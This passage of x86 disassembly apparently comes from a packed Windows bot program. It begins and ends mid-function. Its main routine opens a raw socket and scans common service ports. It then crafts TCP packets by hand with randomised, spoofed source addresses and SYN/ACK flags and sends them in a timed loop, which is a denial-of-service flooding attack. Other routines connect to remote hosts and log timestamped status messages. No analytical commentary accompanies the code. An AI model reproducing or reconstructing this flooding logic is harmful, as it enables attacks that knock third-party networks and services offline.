		mov	ebx, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41C159
		cmp	ebx, eax
		pop	ecx
		jbe	loc_415402


loc_41558E:				; CODE XREF: sub_4152D1+124j
		push	[ebp+var_C]
		call	dword_4CBA6C	; closesocket
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+arg_104]
		push	eax
		imul	esi, 41Ch
		call	sub_41C159
		pop	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset unk_437D58


loc_4155C9:				; CODE XREF: sub_4152D1+34Aj
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_41C266
		add	esp, 18h


loc_4155D8:				; CODE XREF: sub_4152D1+39j
					; sub_4152D1+94j
		cmp	[ebp+arg_20C], edi
		jnz	short loc_415600
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_415600:				; CODE XREF: sub_4152D1+30Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415607:				; CODE XREF: sub_4152D1+28Bj
		push	[ebp+var_4]
		push	esi
		call	dword_4CB968	; WSAGetLastError
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset unk_437CCC
		jmp	short loc_4155C9
sub_4152D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41561D	proc near		; DATA XREF: sub_401ACD+6283o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41C159
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_41C159
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_4CBA14	; inet_addr
		push	eax
		call	sub_4157BA
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_437EA8
		push	eax
		call	sub_41C266
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4156B2
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409869
		add	esp, 14h


loc_4156B2:				; CODE XREF: sub_41561D+73j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_41561D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4156D1	proc near		; CODE XREF: sub_4157BA+194p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_4156FA
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4271F8	; connect
		jmp	loc_4157B6
; ---------------------------------------------------------------------------


loc_4156FA:				; CODE XREF: sub_4156D1+13j
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	dword_4271E0	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB97C	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_4CB9BC	; select
		test	eax, eax
		jnz	short loc_41575E
		or	eax, 0FFFFFFFFh
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_41575E:				; CODE XREF: sub_4156D1+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_415769


loc_415765:				; CODE XREF: sub_4156D1+B8j
					; sub_4156D1+DCj
		mov	eax, edi
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_415769:				; CODE XREF: sub_4156D1+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426350	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_41578B
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_426350	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_415765


loc_41578B:				; CODE XREF: sub_4156D1+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	dword_4271C8	; getsockopt
		cmp	eax, edi
		jz	short loc_415765
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_4157B6:				; CODE XREF: sub_4156D1+24j
					; sub_4156D1+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_4156D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157BA	proc near		; CODE XREF: sub_41561D+51p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= dword	ptr -98h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		push	1
		pop	eax
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_14], eax
		call	dword_4271C4	; WSASocketA
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_4CF1F0, eax
		call	dword_4CB9B4	; setsockopt
		mov	esi, dword_4270B0
		call	esi	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+var_100]
		pop	ecx
		mov	[ebp+var_10C], ebx
		mov	[ebp+var_7C], ecx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_104], ebx
		mov	[ebp+var_8C], 401h
		mov	[ebp+var_88], 15h
		mov	[ebp+var_84], 16h
		mov	[ebp+var_80], 17h
		mov	[ebp+var_78], 35h
		mov	[ebp+var_74], 50h
		mov	[ebp+var_70], 51h
		mov	[ebp+var_6C], 58h
		mov	[ebp+var_68], 6Eh
		mov	[ebp+var_64], 71h
		mov	[ebp+var_60], 77h
		mov	[ebp+var_5C], 87h
		mov	[ebp+var_58], 89h
		mov	[ebp+var_54], 8Bh
		mov	[ebp+var_50], 8Fh
		mov	[ebp+var_4C], 1BBh
		mov	[ebp+var_48], 1BDh
		mov	[ebp+var_44], 400h
		mov	[ebp+var_40], 599h
		mov	[ebp+var_3C], 5DCh
		mov	[ebp+var_38], 6B8h
		mov	[ebp+var_34], 0CEAh
		mov	[ebp+var_30], 0D3Dh
		mov	[ebp+var_2C], 1388h
		mov	[ebp+var_28], 1A0Bh
		mov	[ebp+var_24], 1F40h
		mov	[ebp+var_20], 1F90h
		rep stosd
		mov	[ebp+var_10], ebx
		mov	[ebp+var_1C], 3
		mov	[ebp+var_18], 0BB8h
		mov	[ebp+var_4], ebx


loc_415900:				; CODE XREF: sub_4157BA+1C1j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_9C], 2
		mov	[ebp+var_98], eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+eax+var_8C]
		mov	ax, word ptr [ebp+eax+var_8C]
		push	eax
		call	dword_4CB9D4	; htons
		push	ebx
		push	1
		push	2
		mov	[ebp+var_9A], ax
		call	dword_4CBA54	; socket
		lea	ecx, [ebp+var_1C]
		mov	[ebp+var_C], eax
		push	ecx
		lea	ecx, [ebp+var_9C]
		push	10h
		push	ecx
		push	eax
		call	sub_4156D1
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	dword_4CBA6C	; closesocket
		cmp	[ebp+var_8], ebx
		jnz	short loc_415973
		mov	ecx, [ebp+var_4]
		mov	eax, [edi]
		mov	[ebp+ecx+var_10C], eax


loc_415973:				; CODE XREF: sub_4157BA+1ABj
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 70h
		jl	short loc_415900
		mov	edi, offset dword_4CF1F4
		push	offset asc_42CDC0 ; " "
		push	edi
		call	sub_41C266
		pop	ecx
		pop	ecx
		call	esi	; GetTickCount
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], eax


loc_4159A0:				; CODE XREF: sub_4157BA+23Cj
		call	esi	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_4159F8
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_4159D1
		push	eax
		push	edi
		push	offset aSD	; "%s%d	"
		push	edi
		mov	[ebp+var_10], eax
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_4159EB
; ---------------------------------------------------------------------------


loc_4159D1:				; CODE XREF: sub_4157BA+200j
		push	0FFFFh
		push	ebx
		call	sub_418BD1
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CB9D4	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax


loc_4159EB:				; CODE XREF: sub_4157BA+215j
		inc	[ebp+var_4]
		add	[ebp+var_8], 4
		cmp	[ebp+var_4], 1Ch
		jl	short loc_4159A0


loc_4159F8:				; CODE XREF: sub_4157BA+1F7j
					; sub_4157BA+477j
		push	28h
		push	ebx
		push	offset byte_4CF190
		call	sub_41BF70
		mov	esi, 0FFFFh
		mov	byte_4CF190, 45h
		push	esi
		push	400h
		mov	byte_4CF199, 6
		mov	byte_4CF191, 8
		call	sub_418BD1
		add	esp, 14h
		push	eax
		call	dword_4CB9D4	; htons
		push	28h
		mov	word_4CF194, ax
		call	dword_4CB9D4	; htons
		or	byte_4CF198, 0FFh
		cmp	dword_4CF180, ebx
		mov	word_4CF192, ax
		mov	word_4CF196, bx
		jnz	short loc_415A78
		push	0FFFEh
		push	1
		call	sub_418BD1
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		shl	eax, 10h
		and	ecx, esi
		or	eax, ecx
		jmp	short loc_415A83
; ---------------------------------------------------------------------------


loc_415A78:				; CODE XREF: sub_4157BA+2A2j
		push	offset dword_4CEB60
		call	dword_4CBA14	; inet_addr


loc_415A83:				; CODE XREF: sub_4157BA+2BCj
		mov	dword_4CF19C, eax
		mov	eax, [ebp+arg_0]
		push	4000h
		mov	dword_4CF1A0, eax
		mov	byte_4CF1B1, bl
		call	dword_4CB9D4	; htons
		push	esi
		push	ebx
		mov	word_4CF1B2, ax
		call	sub_418BD1
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_418BD1
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_4CB9D0	; htonl
		mov	dword_4CF1A8, eax
		mov	al, byte_4CF1B0
		mov	edi, [ebp+arg_0]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	byte_4CF1B0, al
		mov	ax, word ptr [ebp+var_10]
		mov	dword_4CF1AC, ebx
		mov	word_4CF1B6, bx
		mov	word_4CF1A6, ax
		mov	dword_4CF1CC, edi
		mov	byte_4CF1D0, bl
		mov	byte_4CF1D1, 6
		call	dword_4CB9D4	; htons
		mov	word_4CF1D2, ax
		mov	ax, word_4CF1A6
		mov	word_4CF1B8, 2
		mov	dword_4CF1BC, edi
		mov	word_4CF1BA, ax
		mov	[ebp+var_4], ebx
		jmp	short loc_415B39
; ---------------------------------------------------------------------------


loc_415B34:				; CODE XREF: sub_4157BA+451j
		mov	esi, 0FFFFh


loc_415B39:				; CODE XREF: sub_4157BA+378j
		cmp	[ebp+var_4], ebx
		jnz	short loc_415B6D
		push	esi
		push	ebx
		call	sub_418BD1
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CB9D4	; htons
		mov	word_4CF1A4, ax
		mov	eax, dword_4CF19C
		mov	dword_4CF1C8, eax
		mov	byte_4CF1B1, 2
		mov	dword_4CF1AC, ebx
		jmp	short loc_415B8C
; ---------------------------------------------------------------------------


loc_415B6D:				; CODE XREF: sub_4157BA+382j
		push	esi
		push	ebx
		mov	byte_4CF1B1, 10h
		call	sub_418BD1
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CB9D4	; htons
		movzx	eax, ax
		mov	dword_4CF1AC, eax


loc_415B8C:				; CODE XREF: sub_4157BA+3B1j
		inc	word_4CF194
		inc	dword_4CF1A8
		mov	ax, word_4CF1A6
		push	5
		pop	ecx
		mov	esi, offset word_4CF1A4
		mov	edi, offset dword_4CF1D4
		mov	word_4CF19A, bx
		mov	word_4CF1B4, bx
		push	14h
		rep movsd
		mov	esi, offset byte_4CF190
		mov	word_4CF1BA, ax
		push	esi
		call	sub_40AA5F
		push	20h
		push	offset dword_4CF1C8
		mov	word_4CF19A, ax
		call	sub_40AA5F
		add	esp, 10h
		mov	word_4CF1B4, ax
		push	10h
		push	offset word_4CF1B8
		push	ebx
		push	28h
		push	esi
		push	dword_4CF1F0
		call	dword_4CBA38	; sendto
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_415B34
		call	dword_4270B0	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_415C36
		push	[ebp+arg_8]
		call	dword_427080	; Sleep
		jmp	loc_4159F8
; ---------------------------------------------------------------------------


loc_415C36:				; CODE XREF: sub_4157BA+46Cj
		pop	edi
		pop	esi
		mov	eax, offset dword_4CF1F4
		pop	ebx
		leave
		retn
sub_4157BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C40	proc near		; CODE XREF: sub_401ACD+7111p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43DB90
		mov	edi, 0B8h


loc_415C54:				; CODE XREF: sub_415C40+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415C77
		push	[ebp+arg_0]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C77
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E710
		jl	short loc_415C54
		jmp	short loc_415CB9
; ---------------------------------------------------------------------------


loc_415C77:				; CODE XREF: sub_415C40+17j
					; sub_415C40+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43DB90[esi]
		push	ebx
		call	sub_41BF70
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BFD0
		push	9Fh
		lea	eax, dword_43DBA8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BFD0
		add	esp, 24h
		inc	dword_4294CC
		pop	ebx


loc_415CB9:				; CODE XREF: sub_415C40+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415C40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC0	proc near		; CODE XREF: sub_401ACD+289Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437EF0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43DB90


loc_415CEA:				; CODE XREF: sub_415CC0+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415D25
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437EDC
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C360
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch


loc_415D25:				; CODE XREF: sub_415CC0+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E710
		jl	short loc_415CEA
		pop	edi
		pop	esi
		leave
		retn
sub_415CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D38	proc near		; CODE XREF: sub_401221+384p
					; sub_401221+408p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_427140	; GetLocalTime
		mov	ebx, offset dword_4D35F4
		mov	edi, 80h
		mov	esi, offset dword_4CF5F4


loc_415D5A:				; CODE XREF: sub_415D38+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415D71
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_415D71:				; CODE XREF: sub_415D38+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415D5A
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DAC	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_408967p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41CB70
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415D38
		add	esp, 14h
		leave
		retn
sub_415DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DD8	proc near		; CODE XREF: sub_401ACD+278Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF5F4
		xor	ecx, ecx


loc_415DDF:				; CODE XREF: sub_415DD8+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D35F4
		jl	short loc_415DDF
		cmp	[esp+arg_C], ecx
		jnz	short loc_415E0D
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_437F3C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409869
		add	esp, 14h


loc_415E0D:				; CODE XREF: sub_415DD8+19j
		push	offset dword_437F28
		call	sub_415D38
		pop	ecx
		retn
sub_415DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E19	proc near		; CODE XREF: .packed:0040E1FFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4CF5F4


loc_415E1F:				; CODE XREF: sub_415E19+27j
		cmp	byte ptr [esi],	0
		jz	short loc_415E34
		push	[esp+4+arg_0]
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415E46


loc_415E34:				; CODE XREF: sub_415E19+9j
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415E1F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E46:				; CODE XREF: sub_415E19+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_415E19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E4B	proc near		; DATA XREF: sub_401ACD+2844o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E9E
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_437F6C
		push	eax
		push	[ebp+var_11C]
		call	sub_409869
		add	esp, 14h


loc_415E9E:				; CODE XREF: sub_415E4B+33j
		cmp	[ebp+var_98], 0
		jz	short loc_415EBE
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415EBE
		mov	[ebp+var_8], eax


loc_415EBE:				; CODE XREF: sub_415E4B+5Aj
					; sub_415E4B+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_4CF5F4


loc_415EC7:				; CODE XREF: sub_415E4B+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_415F21
		cmp	byte ptr [esi],	0
		jz	short loc_415F10
		cmp	[ebp+var_98], 0
		jz	short loc_415EF6
		cmp	[ebp+var_4], 0
		jnz	short loc_415EF6
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415F10


loc_415EF6:				; CODE XREF: sub_415E4B+90j
					; sub_415E4B+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_409869
		add	esp, 14h


loc_415F10:				; CODE XREF: sub_415E4B+87j
					; sub_415E4B+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415EC7


loc_415F21:				; CODE XREF: sub_415E4B+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_437F50
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_415F5B
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_409869
		add	esp, 14h


loc_415F5B:				; CODE XREF: sub_415E4B+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_415E4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F7A	proc near		; CODE XREF: sub_416000+33p
					; sub_416563+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415FF6
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14	; inet_addr
		cmp	eax, esi
		jnz	short loc_415FDB
		push	[ebp+arg_0]
		call	dword_4CBA58	; gethostbyname
		test	eax, eax
		jz	short loc_415FF6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415FDB:				; CODE XREF: sub_415F7A+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C	; connect
		cmp	eax, esi
		jnz	short loc_415FFA
		push	edi
		call	dword_4CBA6C	; closesocket


loc_415FF6:				; CODE XREF: sub_415F7A+1Bj
					; sub_415F7A+58j
		mov	eax, esi
		jmp	short loc_415FFC
; ---------------------------------------------------------------------------


loc_415FFA:				; CODE XREF: sub_415F7A+73j
		mov	eax, edi


loc_415FFC:				; CODE XREF: sub_415F7A+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415F7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416000	proc near		; DATA XREF: sub_401ACD+A02o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_415F7A
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_416093
		lea	eax, [ebp+var_11B4]
		push	offset unk_437FEC
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_416076
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409869
		add	esp, 14h


loc_416076:				; CODE XREF: sub_416000+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_416093:				; CODE XREF: sub_416000+3Fj
		push	offset byte_43DB88
		push	ebx
		call	sub_41A1B1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4160FE
		lea	eax, [ebp+var_11B4]
		push	offset unk_437FBC
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_4160DA
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409869
		add	esp, 14h


loc_4160DA:				; CODE XREF: sub_416000+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
